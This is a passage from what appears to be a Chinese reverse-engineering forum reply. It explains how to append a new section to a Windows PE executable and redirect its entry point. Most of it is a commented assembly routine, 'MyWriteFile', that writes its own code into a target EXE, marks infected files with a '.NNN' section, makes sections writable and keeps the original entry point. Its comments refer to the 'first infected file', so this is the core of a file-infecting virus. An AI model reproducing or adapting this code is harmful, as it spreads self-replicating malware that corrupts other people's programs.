能力值:
( LV3,RANK:30 )
|
-
-
4 楼
1:要将文件节数加一.(即FileHeader.NumberOfSections)
2:在原最后一个节表后(IMAGE_SECTION_HEADER)增加个节表。其中new section的VirtualAddress应该新加大小大小用内存块对齐(OptionalHeader.SectionAlignment)求整,可以直接等原文件的映象大小(OptionalHeader.SizeOfImage);new section 的磁盘文件大小(SizeOfRawData)和RVA大小(.Misc.VirtualSize)直接用新代码的大小填充;new section磁盘文件地址(PointerToRawData)要先比较原最后一个section是否是文件块的整数,不是要填充满,然后nwe section的PointerToRawData=原文件最后一section的(PointerToRawData)+SizeOfRawData)
3:修改映象大小(OptionalHeader.SizeOfImage)(注意要以内存对齐求整)
3:修改入口地址(OptionalHeader.AddressOfEntryPoin)
4:也可以修改代码段基址(OptionalHeader.BaseOfCode)
5:将新代码写入文件后。
以下代码是用汇编写的,有注解,也许对你有帮助
;========MyWriteFile=====================
; 修改目标执行文件,将自身写入其中
;参数:指向文件名的指针
;新增一节,修改原入口地址...
;========================================
MyWriteFile proc ExeFileName:DWORD
pushad
mov eax,ExeFileName
call exeopenbegin
exeopenbegin:
pop ebp
sub ebp,offset exeopenbegin
;以读写方式打开目标文件
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
push eax
call [ebp+_CreateFile] ;调用【CreateFile】打开文件
.if eax==INVALID_HANDLE_VALUE
jmp @@exeover
.endif
mov [ebp+hFile],eax ;保存文件句柄
push 0
push [ebp+hFile]
call [ebp+_GetFileSize] ;调用【GetFileSize】取文件大小
;保存目标文件大小
mov [ebp+FileSize],eax
;读入 PE 文件的 IMAGE_DOS_HEADER,并判断是否是EXE文件
lea eax,[ebp+_Read]
push 0
push eax
mov eax,sizeof img_dos_hdr
push eax
lea eax,[ebp][img_dos_hdr]
push eax
push [ebp+hFile]
call [ebp+_ReadFile] ;调用【ReadFile】读DOS文件头
;判断是否为一个有效的 PE 文件
cmp [ebp][img_dos_hdr.e_magic], "ZM"
.if !zero? ;如果不等于"0"
jmp @@safe
.endif
;把文件指针指向 IMAGE_NT_HEADERS,并读入该部分内容:
push FILE_BEGIN
push 0
push [ebp][img_dos_hdr.e_lfanew]
push [ebp][hFile]
call [ebp][_SetFilePointer] ;调用【SetFilePointer】,设置文件指针到img_dos_hdr.e_lfanew
;即指向NT_HEADER
push 0
lea eax,[ebp][_Read]
push eax
push sizeof img_nt_hdrs
lea eax,[ebp][img_nt_hdrs]
push eax
push [ebp][hFile]
call [ebp][_ReadFile] ;调用【ReadFile】读入文件头
cmp [ebp][img_nt_hdrs.Signature], "EP"
.if !zero? ;如果不等就跳走
jmp @@safe
.endif
;保存目标文件原入口地址
;在这儿有些麻烦,必须要分清楚外壳执行,自身运行时入口点的处理
mov eax,[ebp][img_nt_hdrs.OptionalHeader.AddressOfEntryPoint]
add eax,[ebp][img_nt_hdrs.OptionalHeader.ImageBase]
cmp [ebp][ReturnFlag],0 ;0==外壳执行
jne setreturnflag1
mov dword ptr[ebp][MyOldOep],eax
mov dword ptr[ebp][MyReturn],eax
xor eax,eax
inc eax
mov [ebp][ReturnFlag],eax
jmp setreturnflagover
setreturnflag1: ;1==第一个感染文件执行
push [ebp][MyReturn]
pop [ebp][MyOldOep]
mov [ebp][MyReturn],eax
xor eax,eax
inc eax
mov [ebp][ReturnFlag],1
setreturnflagover:
;**************以下几句极为重要**************
; 因为在Win2K下要加载任一一个函数才能运行。
; 经参考:将导入范围表设置为NULL即可
;********************************************
;; bswap eax ;交换字节顺序(极度重要)
xor eax,eax
push eax
pop [ebp][img_nt_hdrs.OptionalHeader.DataDirectory(88).VirtualAddress]
movzx ecx,[ebp][img_nt_hdrs.FileHeader.NumberOfSections]
;------------------依次读入 IMAGE_SECTION_HEADER 内容------------------------
;并将入口地址所在的节属性改为可写
readsection:
push ecx ;保存ECX计数器
push 0
lea eax,[ebp][_Read]
push eax
push sizeof img_sect_hdr
lea eax,[ebp][img_sect_hdr]
push eax
push [ebp][hFile]
call [ebp][_ReadFile] ;调用【ReadFile】循环读入节表信息,直到读到最后一个节
lea eax,[ebp][img_sect_hdr.Name1] ;
cmp dword ptr [eax], "NNN." ;根据节名称,判断是否已被修改过,有则关闭文件句柄
.if zero?
jmp @@safe
.endif
mov eax,[ebp][img_nt_hdrs.OptionalHeader.AddressOfEntryPoint]
mov ecx,[ebp][img_sect_hdr.Characteristics] ;取节属性
and ecx,20000000h ;将节属性和20000000h与,如为20000000h则是可执行
;依次读出目标文件所有节信息进行分析
;如果入口地址比当前节RVA地址大 且 入口地址比当前节实际地址小 且 当前节属性为可执行
;则确定出入口地址所在的节,并保存所在节的磁盘文件地址,磁盘文件大小,RVA(作为新代码的入口地址)
.if eax>[ebp][img_sect_hdr.VirtualAddress] && eax<[ebp][img_sect_hdr.Misc.VirtualSize] && ecx==20000000h
;修改节属性为可写
or [ebp][img_sect_hdr.Characteristics],80000000h ;设置入口地址所在的节属性为可写
;将修改后的节写回
push FILE_CURRENT
push 0
push -28h
push [ebp][hFile]
call [ebp][_SetFilePointer] ;调用【SetFilePointer】,当前文件指针回退28h
push 0
lea eax,[ebp][_Write]
push eax
push sizeof img_sect_hdr
lea eax,[ebp][img_sect_hdr]
push eax
push [ebp][hFile]
call [ebp][_WriteFile] ;调用【WriteFile】写SECTION信息
.else ;从入口地址节后的每个节,相应的向后移动相应字节
nop
nop
nop
nop
.endif
pop ecx
dec ecx ;取出ECX计数器
cmp ecx,0
.if !zero?
jmp readsection
.endif
;----------------修改新节信息并写入文件中----------------
;新入新节信息
;保存新节的名称为“.NNN”
xor eax,eax
mov dword ptr [ebp][img_sect_hdr.Name1+00h],eax ;将节名清为空
mov dword ptr [ebp][img_sect_hdr.Name1+04h],eax
mov dword ptr [ebp][img_sect_hdr.Name1+00h], "NNN."
;保存原最后一个节的部分信息
push [ebp][img_sect_hdr.PointerToRawData]
pop [ebp][endsecdiskaddr]
push [ebp][img_sect_hdr.SizeOfRawData]
pop [ebp][endsecdisksize]
push [ebp][img_nt_hdrs.OptionalHeader.SizeOfImage] ;新节的RVA=原文件的映象大小
pop [ebp][img_sect_hdr.VirtualAddress]
push FileLen
pop [ebp][img_sect_hdr.Misc.VirtualSize] ;新节的RVA大小=新代码的大小
push [ebp][img_nt_hdrs.OptionalHeader.FileAlignment]
mov eax,[ebp][img_sect_hdr.SizeOfRawData]
add eax,[ebp][img_sect_hdr.PointerToRawData]
push eax
call CalcDataSize
push eax
pop [ebp][img_sect_hdr.PointerToRawData] ;新节的磁盘地址=原磁盘地址+磁盘大小%文件对齐 ?
push FileLen
pop [ebp][img_sect_hdr.SizeOfRawData] ;新节的磁盘大小=新代码的大小
or [ebp][img_sect_hdr.Characteristics],80000000h ;置属性为可写
push 0
lea eax,[ebp][_Write]
push eax
push sizeof img_sect_hdr
lea eax,[ebp][img_sect_hdr]
push eax
push [ebp][hFile]
call [ebp][_WriteFile] ;调用【WriteFile】写SECTION信息
;修改入口地址
push [ebp][img_nt_hdrs.OptionalHeader.SizeOfImage]
pop [ebp][img_nt_hdrs.OptionalHeader.AddressOfEntryPoint]
;修改代码段基址
push [ebp][img_nt_hdrs.OptionalHeader.AddressOfEntryPoint]
pop [ebp][img_nt_hdrs.OptionalHeader.BaseOfCode]
;修改映象大小
;计算方式为以内存块对代码段求整
push [ebp][img_nt_hdrs.OptionalHeader.SectionAlignment] ;取内存块对齐数值
push FileLen
call CalcDataSize
;增加镜像大小
add [ebp][img_nt_hdrs.OptionalHeader.SizeOfImage],eax
;增加文件节数
inc [ebp][img_nt_hdrs.FileHeader.NumberOfSections]
;修改导入、导出偏移
cmp dword ptr[ebp][img_nt_hdrs.OptionalHeader.DataDirectory(58h).VirtualAddress],0
.if !zero?
add [ebp][img_nt_hdrs.OptionalHeader.DataDirectory(58h).VirtualAddress],9999h
.endif
;--------------分配内存、计算以文件块对齐填充最后一个节的数据大小、读出附加数据------------------
;分配内存
push [ebp][FileSize] ;分配原始文件大小的内存
push GPTR
call [ebp+_GlobalAlloc] ;调用【GlobalAlloc】分配内存
.if eax==NULL
jmp @@safe
.endif
mov [ebp][pMem],eax
;计算
push [ebp][img_nt_hdrs.OptionalHeader.FileAlignment]
mov eax,[ebp][endsecdiskaddr]
add eax,[ebp][endsecdisksize]
push eax
call CalcDataSize
push eax
pop [ebp][zjdatasize]
mov eax,[ebp][endsecdiskaddr]
add eax,[ebp][endsecdisksize]
sub [ebp][zjdatasize],eax
;读附加数据
push FILE_BEGIN
push 0
mov eax,[ebp][endsecdiskaddr]
add eax,[ebp][endsecdisksize]
push eax
push [ebp][hFile]
call [ebp][_SetFilePointer] ;调用【SetFilePointer】,设置文件指针到原文件最后节
push 0
lea eax,[ebp][_Read]
push eax
push [ebp][FileSize]
push [ebp][pMem]
push [ebp][hFile]
call [ebp][_ReadFile] ;调用【ReadFile】读附加数据
;读大小为原文件大小,地址到分配的内存中
;读的实际大小返回到_Read中,将其保存
push [ebp][_Read]
pop [ebp][fjdatasize]
;-------------写文件头、节、填充原最后一个节的数据、写新代码、写原附加数据------------
;写入文件头
push FILE_BEGIN
push 0
push [ebp][img_dos_hdr.e_lfanew]
push [ebp][hFile]
call [ebp][_SetFilePointer] ;调用【SetFilePointer】,设置文件指针到img_dos_hdr.e_lfanew
push 0
lea eax,[ebp][_Write]
push eax
push sizeof img_nt_hdrs
lea eax,[ebp][img_nt_hdrs]
push eax
push [ebp][hFile]
call [ebp][_WriteFile] ;调用【WriteFile】写NT_HEADER
;补齐最后节数据
push FILE_BEGIN
push 0
mov eax,[ebp][endsecdiskaddr]
add eax,[ebp][endsecdisksize]
push eax
push [ebp][hFile]
call [ebp][_SetFilePointer] ;调用【SetFilePointer】
push 0
lea eax,[ebp][_Write]
push eax
push [ebp][zjdatasize]
push [ebp][pMem]
push [ebp][hFile]
call [ebp][_WriteFile] ;调用【WriteFile】被齐追加数据
;写入新代码
push 0
lea eax,[ebp][_Write]
push eax
push FileLen
lea eax,exesectionEntry
push eax
push [ebp][hFile]
call [ebp][_WriteFile] ;调用【WriteFile】写入新代码
;写入附加数据
push 0
lea eax,[ebp][_Write]
push eax
push [ebp][fjdatasize]
push [ebp][pMem]
push [ebp][hFile]
call [ebp][_WriteFile] ;调用【WriteFile】写入附加数据
@@safe:
push [ebp][hFile]
call [ebp][_CloseHandle] ;调用【CloseHandle】关闭文件句柄
;如果分配内存指针不为空,就释放内存
mov eax,dword ptr[ebp][pMem]
.if eax!=NULL
push [ebp][pMem]
call [ebp][_GlobalFree] ;调用【GlobalFree】释放内存
.endif
@@exeover:
popad
ret
MyWriteFile endp
|